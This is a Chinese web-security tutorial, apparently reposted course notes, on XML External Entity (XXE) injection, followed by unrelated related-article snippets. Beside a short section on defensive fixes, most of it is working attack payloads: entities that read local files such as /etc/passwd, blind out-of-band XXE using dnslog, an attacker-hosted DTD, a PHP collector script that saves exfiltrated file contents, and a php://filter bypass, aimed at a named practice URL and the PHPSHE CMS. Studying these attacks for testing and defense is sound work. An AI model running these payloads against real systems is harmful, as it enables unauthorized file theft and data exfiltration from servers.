Day60:WEB攻防-XMLXXE安全无回显方案OOB盲注DTD外部实体黑白盒挖掘

目录

XML&XXE-传输-原理&探针&利用&玩法

XXE 黑盒发现

XXE 白盒发现

XXE修复防御方案

有回显

无回显

XML&XXE-黑盒-JSON&黑盒测试&类型修改

XML&XXE-白盒-CMS&PHPSHE&无回显


知识点:

1、XXE&XML-原理-用途&外实体&安全

2、XXE&XML-黑盒-格式类型&数据类型

3、XXE&XML-白盒-函数审计&回显方案

XML&XXE-传输-原理&探针&利用&玩法

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最常用)、命令执行、内网扫描、攻击内网等危害。

php原生态代码只能造成文件读取,其他的例如命令执行那些都是跟一些第三方库导致的安全问题有关

XML 与 HTML 的主要差异:

  • XML 被设计为传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。
  • HTML 旨在显示信息 ,而XML旨在传输存储信息。

Example:网站的xml文件解析

XXE 黑盒发现

  1. 获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
  2. 不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
  3. XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试 

判断对方使用XML来传输数据时,尝试xml语言payload进行测试 

不管获取的Content-Type类型或数据传输类型是否是XML,均可尝试修改为XML格式后提交测试xxe 

XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxeb即可)

参考文章:https://blog.csdn.net/weixin_57567655/article/details/124588490

XXE 白盒发现

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等
     

XXE修复防御方案

方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
 

有回显

读取文件

<?xml version="1.0"?>
<!DOCTYPE xiaodi [
<!ENTITY test SYSTEM  "file:///d:/1.txt">
]>
<user><username>&test;</username><password>xiaodi</password></user>

外部实体引用dtd

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:80/xxe.dtd">%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

xxe.dtd

<!ENTITY send SYSTEM "file:///d:/1.txt">

无回显

带外测试

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

或者不用dnslog,直接在VPS服务器上用python起一个WEB服务,然后看这个有没有请求记录即可。

python -m http.server port

无回显读文件(外部实体引用dtd)

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">
%remote;
%all;
]>
<root>&send;</root>

xxe.dtd(真实情况下肯定放在VPS上)

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">

get.php(真实情况下肯定放在VPS上)

<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

那么这里又存在一个问题就是要读文件有空格有中文难道就读不了吗?
可以用php伪协议来绕过呀

php://filter/read=convert.base64-encode/resource=phpinfo.php

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % remote SYSTEM "http://124.221.77.120/xxe.dtd">
%remote;
%all;
]><user><username>&send;</username><password>admin</password></user>

其他玩法(协议)https://www.cnblogs.com/20175211lyz/p/11413335.html

XML&XXE-黑盒-JSON&黑盒测试&类型修改

漏洞URL:http://web.jarvisoj.com:9882/

更改请求数据格式:Content-Type为xml格式

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

XML&XXE-白盒-CMS&PHPSHE&无回显

1、搜索漏洞函数simplexml_load_string

2、pe_getxml函数调用了漏洞函数

3、wechat_getxml调用了pe_getxml

4、notify_url.php调用了wechat_getxml

5、访问notify_url文件触发wechat_getxml函数,构造Paylod测试

先尝试读取文件,无回显后带外测试:

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn">%file;
]>
<root>&send;</root>

存在XXE漏洞

然后带外传递数据解决无回显:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">get.php
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/786453.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MATLAB绘制堆叠填充图--巧用句柄

MATLAB绘制堆叠填充图–巧用句柄 目录 MATLAB绘制堆叠填充图--巧用句柄1. 主要原理讲解1.1 主要函数1.2 句柄原理 2. 绘图示例2.1 准备数据2.2 绘制堆叠填充图-使用句柄控制图形属性2.3 设置填充颜色和样式2.4 添加标题和标签2.5 绘图效果 3. 结语 堆叠填充图是一种常见的数据可…

政安晨:【Keras机器学习实践要点】(十三)—— 利用 TensorFlow 进行多 GPU 分布式训练

目录 前言 设置 单主机、多设备同步培训 工作原理 如何使用 使用回调确保容错 tf.data 性能提示 数据集批处理注意事项 调用 dataset.cache() 调用 dataset.prefetch(buffer_size) 政安晨的个人主页&#xff1a;政安晨 欢迎 &#x1f44d;点赞✍评论⭐收藏 收录专栏:…

ssm015基于java的健身房管理系统的设计与实现+vue

健身房管理系统设计与实现 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本健身房管理系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间…

MacBook 访达使用技巧【mac 入门】

快捷键 打开访达搜索窗口默认快捷键【⌥ ⌘ 空格键】可以在键盘【系统偏好设置 -> 键盘->快捷键->聚焦】修改 但是我不会去修改它&#xff0c;因为我不常用访达的搜索窗口&#xff0c;更多的是想快速打开访达文件夹窗口&#xff0c;可以通过第三方软件定义访达的快…

利用Node.js实现拉勾网数据爬取

引言 拉勾网作为中国领先的互联网招聘平台&#xff0c;汇集了丰富的职位信息&#xff0c;对于求职者和人力资源专业人士来说是一个宝贵的数据源。通过编写网络爬虫程序&#xff0c;我们可以自动化地收集这些信息&#xff0c;为求职决策和市场研究提供数据支持。Node.js以其非阻…

Qt 实现简易的视频播放器,功能选择视频,播放,暂停,前进,后退,进度条拖拉,视频时长显示

1.效果图 2.代码实现 2.1 .pro文件 QT core gui multimedia multimediawidgets 2.2 .h文件 #ifndef VIDEOPLAYING_H #define VIDEOPLAYING_H#include <QWidget> #include<QFileDialog>#include<QMediaPlayer> #include<QMediaRecorder> #in…

vue3中播放flv流视频,以及组件封装超全

实现以上功能的播放&#xff0c;只需要传入一个流的地址即可&#xff0c;当然组件也只有简单的实时播放功能 下面直接上组件 里面的flvjs通过npm i flv.js直接下载 <template><div class"player" style"position: relative;"><p style&…

深入了解 Vue 3 中的 Keyframes 动画

在本文中&#xff0c;我们将探讨如何在 Vue 3 中实现 Keyframes 动画。Keyframes 动画允许我们通过定义关键帧来创建复杂的动画效果&#xff0c;从而为用户提供更吸引人的界面体验。 transition动画适合用来创建简单的过渡效果。CSS3中支持使用animation属性来配置更加复杂的动…

Day5-

Hive 窗口函数 案例 需求&#xff1a;连续三天登陆的用户数据 步骤&#xff1a; -- 建表 create table logins (username string,log_date string ) row format delimited fields terminated by ; -- 加载数据 load data local inpath /opt/hive_data/login into table log…

蓝桥杯刷题day13——乘飞机【算法赛】

一、问题描述 等待登机的你看着眼前有老有小长长的队伍十分无聊&#xff0c;你突然想要知道&#xff0c;是否存在两个年龄相仿的乘客。每个乘客的年龄用一个 0 到 36500 的整数表示&#xff0c;两个乘客的年龄相差 365 以内就认为是相仿的。 具体来说&#xff0c;你有一个长度…

测开——Java、python、SQL、数据结构面试题整理

一、Java 1.Java中finally、final、finalize的区别 1.性质不同 &#xff08;1&#xff09;final为关键字; &#xff08;2&#xff09;finalize()为方法; &#xff08;3&#xff09;finally为为区块标志,用于try语句中; 2. 作用 &#xff08;1&#xff09;final为用于标识…

农业信息管理(源码+文档)

农业信息管理系统&#xff08;小程序、ios、安卓都可部署&#xff09; 文件包含内容程序简要说明功能项目截图客户端首页我的今日动态动态详情登录修改资料今日价格今日报价注册页 后端管理文章管理用户管理分类管理 文件包含内容 1、搭建视频 2、流程图 3、开题报告 4、数据库…

Python请求示例京东、淘宝商品数据(属性详情,sku价格页面上的数据抓取)

抓取京东、淘宝等电商平台的商品数据是一个复杂且需要谨慎处理的任务&#xff0c;因为这些平台通常会有反爬虫机制&#xff0c;并且页面结构也可能经常变化。以下是一个简化的Python请求示例&#xff0c;展示如何发起HTTP请求来获取页面内容&#xff0c;但这仅作为起点&#xf…

vue2+elementUi的两个el-date-picker日期组件进行联动

vue2elementUi的两个el-date-picker日期组件进行联动 <template><el-form><el-form-item label"起始日期"><el-date-picker v-model"form.startTime" change"startTimeChange" :picker-options"startTimePickerOption…

提升LLM效果的几种简单方法

其实这个文章想写很久了&#xff0c;最近一直在做大模型相关的产品&#xff0c;经过和团队成员一段时间的摸索&#xff0c;对大模型知识库做一下相关的认知和总结。希望最终形成一个系列。 对于知识库问答&#xff0c;现在有两种方案&#xff0c;一种基于llamaindex&#xff0…

Git简介

文章目录 Git是什么&#xff1f;安装Git使用git配置个人标识文件状态状态变化 汇总常用命令 Git是什么&#xff1f; Git是我们的代码管理工具&#xff0c;是一个代码仓库&#xff0c;让我们存储代码的。 安装Git 官网&#xff1a;https://git-scm.com/ &#xff08;傻瓜式安…

数据结构-链表的基本操作

前言&#xff1a; 在dotcpp上碰到了一道题&#xff0c;链接放这了&#xff0c;这道题就是让你自己构建一遍链表的创建&#xff0c;插入节点&#xff0c;删除节点&#xff0c;获取节点&#xff0c;输出链表&#xff0c;题目给了几张代码图&#xff0c;不过不用管那些图&#xf…

STM32一个地址未对齐引起的 HardFault 异常

1. 概述 客户在使用 STM32G070 的时候&#xff0c;KEIL MDK 为编译工具&#xff0c;当编译优化选项设置为Level0 的时候&#xff0c;程序会出现 Hard Fault 异常&#xff0c;而当编译优化选项设置为 Level1 的时候&#xff0c;则程序运行正常。表面上看&#xff0c;这似乎是 K…

ansible-tower安装

特别注意&#xff1a;不需要提前安装ansible&#xff0c;因为ansible tower中的setup.sh脚本会下载对应的ansible版本 ansible tower不支持Ubuntu系统,对cenos系统版本也有一定的限制&#xff0c;建议使用centos7.9。 准备一台全新的机器安装&#xff0c;因为ansible tower需要…

ARMv8-A架构下的外部debug模型(external debug)简介

Armv8-A external debug Armv8-A debug模型一&#xff0c;外部调试 External debug 简介二&#xff0c;Debug state2.1 Debug state的进入与退出 三&#xff0c;DAP&#xff0c;Debug Access Port3.1 EDSCR, External Debug Status and Control Register调试状态标识&#xff0…